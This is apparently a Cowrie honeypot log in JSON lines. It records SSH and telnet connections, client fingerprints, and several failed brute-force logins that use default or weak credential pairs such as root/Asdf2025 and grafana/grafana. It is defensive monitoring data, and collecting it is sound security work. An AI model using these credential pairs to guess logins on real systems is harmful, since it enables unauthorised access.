{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.256792Z","src_ip":"185.216.119.134","session":"12e09a144993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52186,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbc2c508e812","protocol":"ssh","message":"New connection: 159.203.92.129:52186 (159.203.135.109:22) [session: fbc2c508e812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.325384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.357864Z","src_ip":"159.203.92.129","session":"fbc2c508e812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.366936Z","src_ip":"159.203.92.129","session":"fbc2c508e812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZJ","password":"ZJ","message":"login attempt [ZJ/ZJ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.450594Z","src_ip":"159.203.92.129","session":"fbc2c508e812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.993526Z","src_ip":"185.216.119.134","session":"12e09a144993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:03.460404Z","src_ip":"159.203.92.129","session":"fbc2c508e812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test1234","message":"login attempt [git/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:04.535656Z","src_ip":"185.216.119.134","session":"12e09a144993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:05.762141Z","src_ip":"185.216.119.134","session":"12e09a144993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50458,"dst_ip":"159.203.135.109","dst_port":22,"session":"0554319bf710","protocol":"ssh","message":"New connection: 80.94.92.186:50458 (159.203.135.109:22) [session: 0554319bf710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:08.160359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:08.373437Z","src_ip":"80.94.92.186","session":"0554319bf710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:08.377203Z","src_ip":"80.94.92.186","session":"0554319bf710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:10.067066Z","src_ip":"80.94.92.186","session":"0554319bf710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:12.236389Z","src_ip":"80.94.92.186","session":"0554319bf710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.121.56.114","src_port":40040,"dst_ip":"159.203.135.109","dst_port":23,"session":"26e0b005e3be","protocol":"telnet","message":"New connection: 91.121.56.114:40040 (159.203.135.109:23) [session: 26e0b005e3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:17.730700Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":41374,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc2ef58d197","protocol":"ssh","message":"New connection: 31.59.89.180:41374 (159.203.135.109:22) [session: 2fc2ef58d197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:28.568717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:28.573461Z","src_ip":"31.59.89.180","session":"2fc2ef58d197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:28.686458Z","src_ip":"31.59.89.180","session":"2fc2ef58d197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A1234567a","message":"login attempt [ubuntu/A1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:29.169021Z","src_ip":"31.59.89.180","session":"2fc2ef58d197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:30.285949Z","src_ip":"31.59.89.180","session":"2fc2ef58d197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35270,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cac8ac37ffc","protocol":"ssh","message":"New connection: 159.203.92.129:35270 (159.203.135.109:22) [session: 1cac8ac37ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:45.158154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:45.162949Z","src_ip":"159.203.92.129","session":"1cac8ac37ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:45.167615Z","src_ip":"159.203.92.129","session":"1cac8ac37ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZJ","password":"ZJ123","message":"login attempt [ZJ/ZJ123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:45.182215Z","src_ip":"159.203.92.129","session":"1cac8ac37ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:46.189294Z","src_ip":"159.203.92.129","session":"1cac8ac37ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.851120948791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:48.581707Z","src_ip":"91.121.56.114","session":"26e0b005e3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":39038,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bfa14fecd33","protocol":"ssh","message":"New connection: 185.216.119.134:39038 (10.17.0.5:22) [session: 8bfa14fecd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:02.571939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:02.576472Z","src_ip":"185.216.119.134","session":"8bfa14fecd33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:03.227734Z","src_ip":"185.216.119.134","session":"8bfa14fecd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168442726135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:04.777990Z","src_ip":"38.156.203.73","session":"55ec5b183acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":39900,"dst_ip":"159.203.135.109","dst_port":23,"session":"94471b0fe9c1","protocol":"telnet","message":"New connection: 38.156.203.73:39900 (159.203.135.109:23) [session: 94471b0fe9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:04.896696Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf2025","message":"login attempt [root/Asdf2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:04.905378Z","src_ip":"185.216.119.134","session":"8bfa14fecd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191879272461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:04.989525Z","src_ip":"38.156.203.73","session":"707908806903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:06.125034Z","src_ip":"185.216.119.134","session":"8bfa14fecd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00592803955078,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:06.134739Z","src_ip":"38.156.203.73","session":"f97df36a551f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7f7e3d4dcd","protocol":"telnet","message":"New connection: 38.156.203.73:39920 (159.203.135.109:23) [session: 5e7f7e3d4dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:07.261200Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.4.46.254","src_port":64281,"dst_ip":"159.203.135.109","dst_port":23,"session":"152893393400","protocol":"telnet","message":"New connection: 45.4.46.254:64281 (159.203.135.109:23) [session: 152893393400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:20.693206Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53558,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c7eee78b27b","protocol":"ssh","message":"New connection: 159.203.92.129:53558 (159.203.135.109:22) [session: 7c7eee78b27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:26.330077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:26.334960Z","src_ip":"159.203.92.129","session":"7c7eee78b27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:26.339572Z","src_ip":"159.203.92.129","session":"7c7eee78b27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZXDSL","password":"123456","message":"login attempt [ZXDSL/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:26.350742Z","src_ip":"159.203.92.129","session":"7c7eee78b27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:53:27.357425Z","src_ip":"159.203.92.129","session":"7c7eee78b27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.141.175.198","src_port":34040,"dst_ip":"159.203.135.109","dst_port":23,"session":"92bfcd0e7af6","protocol":"telnet","message":"New connection: 95.141.175.198:34040 (159.203.135.109:23) [session: 92bfcd0e7af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:02.232369Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":34908,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c1cc1e6187","protocol":"ssh","message":"New connection: 173.249.6.197:34908 (159.203.135.109:22) [session: f7c1cc1e6187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:02.544826Z"}
